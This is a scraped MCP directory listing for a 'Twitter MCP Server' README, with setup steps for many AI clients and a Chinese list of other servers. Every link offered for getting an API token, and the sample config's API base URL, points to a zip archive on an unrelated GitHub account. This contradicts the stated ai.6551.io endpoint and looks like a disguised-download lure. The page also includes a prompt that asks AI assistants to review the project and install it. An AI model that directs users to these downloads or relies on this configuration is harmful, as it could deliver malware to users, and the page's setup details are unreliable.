Twitter MCP Server

Twitter MCP Server

Enables AI assistants to access Twitter/X data including user profiles, tweets, search, and follower events via a set of MCP tools.

Category
访问服务器

README

<p align="center"> <b>Twitter MCP Server</b><br> Twitter/X Data · User Profiles · Tweet Search · Follower Events · KOL Tracking </p>

<p align="center"> <a href="./docs/README_ZH.md">中文</a> | <a href="./docs/README_JA.md">日本語</a> | <a href="./docs/README_KO.md">한국어</a> </p>


Quick Install

First, go to https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip to get your API Token.

Claude Code

claude mcp add twitter \
  -e TWITTER_TOKEN=<your-token> \
  -- uv --directory /path/to/twitter-mcp run twitter-mcp

Replace /path/to/twitter-mcp with your local project path, and <your-token> with your Token.

OpenClaw

export TWITTER_TOKEN="<your-token>"
cp -r openclaw-skill/opentwitter ~/.openclaw/skills/

Let AI Review & Install For You

Not sure if this MCP is safe? Paste the prompt below to your AI assistant — it will review the source code first, then install if safe:

Copy this prompt and send it to your AI assistant (replace <project-path> and <your-token> with actual values):

Please review and install the twitter-mcp MCP server for me. The project is at <project-path>.

Steps:
1. Review these files for security:
   - src/twitter_mcp/api_client.py — Confirm it only connects to ai.6551.io, no data sent elsewhere
   - src/twitter_mcp/config.py — Confirm token is only read from local config.json or env vars, no hardcoded secrets or leaks
   - src/twitter_mcp/tools.py — Confirm all tools only perform API queries, no file writes, command execution, or dangerous operations
   - pyproject.toml — Confirm dependencies are only mcp, httpx, no suspicious packages
2. Tell me your conclusion: safe / risky / problematic, with specific reasons
3. If safe, run the install (get Token from https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip):
   claude mcp add twitter -e TWITTER_TOKEN=<your-token> -- uv --directory <project-path> run twitter-mcp

What Can It Do?

Once connected, just ask your AI assistant:

You say It does
"Show @elonmusk's Twitter profile" Get user profile info
"What did @VitalikButerin tweet recently" Get user's recent tweets
"Search Bitcoin related tweets" Keyword search
"Find tweets with #crypto hashtag" Hashtag search
"Popular tweets about ETH with 1000+ likes" Search with engagement filters
"Who followed @elonmusk recently" Get new follower events
"Who unfollowed @elonmusk" Get unfollower events
"What tweets did @elonmusk delete" Get deleted tweets
"Which KOLs follow @elonmusk" Get KOL followers

Available Tools

Tool Description
get_twitter_user Get user profile by username
get_twitter_user_by_id Get user profile by numeric ID
get_twitter_user_tweets Get recent tweets from a user
search_twitter Search tweets with basic filters
search_twitter_advanced Advanced search with multiple filters
get_twitter_follower_events Get follower/unfollower events
get_twitter_deleted_tweets Get deleted tweets from a user
get_twitter_kol_followers Get KOL (Key Opinion Leader) followers

Configuration

Get API Token

Go to https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip to get your API Token.

Set the environment variable:

# macOS / Linux
export TWITTER_TOKEN="<your-token>"

# Windows PowerShell
$env:TWITTER_TOKEN = "<your-token>"
Variable Required Description
TWITTER_TOKEN Yes 6551 API Bearer Token (get from https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip)
TWITTER_API_BASE No Override REST API URL
TWITTER_MAX_ROWS No Max results per query (default: 100)

Also supports config.json in the project root (env vars take precedence):

{
  "api_base_url": "https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip",
  "api_token": "<your-token>",
  "max_rows": 100
}

Data Structures

Twitter User

{
  "userId": "44196397",
  "screenName": "elonmusk",
  "name": "Elon Musk",
  "description": "...",
  "followersCount": 170000000,
  "friendsCount": 500,
  "statusesCount": 30000,
  "verified": true
}

Tweet

{
  "id": "1234567890",
  "text": "Tweet content...",
  "createdAt": "2024-02-20T12:00:00Z",
  "retweetCount": 1000,
  "favoriteCount": 5000,
  "replyCount": 200,
  "userScreenName": "elonmusk",
  "hashtags": ["crypto", "bitcoin"],
  "urls": [{"url": "https://..."}]
}

<details> <summary><b>Other Clients — Manual Install</b> (click to expand)</summary>

In all configs below, replace /path/to/twitter-mcp with your actual local project path, and <your-token> with your Token from https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip.

Claude Desktop

Edit config (macOS: ~/Library/Application Support/Claude/claude_desktop_config.json, Windows: %APPDATA%\Claude\claude_desktop_config.json):

{
  "mcpServers": {
    "twitter": {
      "command": "uv",
      "args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
      "env": {
        "TWITTER_TOKEN": "<your-token>"
      }
    }
  }
}

Cursor

~/.cursor/mcp.json or Settings > MCP Servers:

{
  "mcpServers": {
    "twitter": {
      "command": "uv",
      "args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
      "env": {
        "TWITTER_TOKEN": "<your-token>"
      }
    }
  }
}

Windsurf

~/.codeium/windsurf/mcp_config.json:

{
  "mcpServers": {
    "twitter": {
      "command": "uv",
      "args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
      "env": {
        "TWITTER_TOKEN": "<your-token>"
      }
    }
  }
}

Cline

VS Code sidebar > Cline > MCP Servers > Configure, edit cline_mcp_settings.json:

{
  "mcpServers": {
    "twitter": {
      "command": "uv",
      "args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
      "env": {
        "TWITTER_TOKEN": "<your-token>"
      },
      "disabled": false,
      "autoApprove": []
    }
  }
}

Continue.dev

~/.continue/config.yaml:

mcpServers:
  - name: twitter
    command: uv
    args:
      - --directory
      - /path/to/twitter-mcp
      - run
      - twitter-mcp
    env:
      TWITTER_TOKEN: <your-token>

Cherry Studio

Settings > MCP Servers > Add > Type stdio: Command uv, Args --directory /path/to/twitter-mcp run twitter-mcp, Env TWITTER_TOKEN.

Zed Editor

~/.config/zed/settings.json:

{
  "context_servers": {
    "twitter": {
      "command": {
        "path": "uv",
        "args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
        "env": {
          "TWITTER_TOKEN": "<your-token>"
        }
      }
    }
  }
}

Any stdio MCP client

TWITTER_TOKEN=<your-token> \
  uv --directory /path/to/twitter-mcp run twitter-mcp

</details>


Compatibility

Client Install Method Status
Claude Code claude mcp add One-liner
OpenClaw Copy skill directory One-liner
Claude Desktop JSON config Supported
Cursor JSON config Supported
Windsurf JSON config Supported
Cline JSON config Supported
Continue.dev YAML / JSON Supported
Cherry Studio GUI Supported
Zed JSON config Supported

Related Projects


Development

cd /path/to/twitter-mcp
uv sync
uv run twitter-mcp
# MCP Inspector
npx @modelcontextprotocol/inspector uv --directory /path/to/twitter-mcp run twitter-mcp

Project Structure

├── README.md
├── docs/
│   ├── README_JA.md           # 日本語
│   └── README_KO.md           # 한국어
├── openclaw-skill/opentwitter/    # OpenClaw Skill
├── pyproject.toml
├── config.json
└── src/twitter_mcp/
    ├── server.py              # Entry point
    ├── app.py                 # FastMCP instance
    ├── config.py              # Config loader
    ├── api_client.py          # HTTP client
    └── tools.py               # 8 tools

License

MIT

推荐服务器

Baidu Map

Baidu Map

百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。

官方
精选
JavaScript
Playwright MCP Server

Playwright MCP Server

一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。

官方
精选
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。

官方
精选
本地
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。

官方
精选
本地
TypeScript
VeyraX

VeyraX

一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。

官方
精选
本地
graphlit-mcp-server

graphlit-mcp-server

模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。

官方
精选
TypeScript
Kagi MCP Server

Kagi MCP Server

一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。

官方
精选
Python
e2b-mcp-server

e2b-mcp-server

使用 MCP 通过 e2b 运行代码。

官方
精选
Neon MCP Server

Neon MCP Server

用于与 Neon 管理 API 和数据库交互的 MCP 服务器

官方
精选
Exa MCP Server

Exa MCP Server

模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。

官方
精选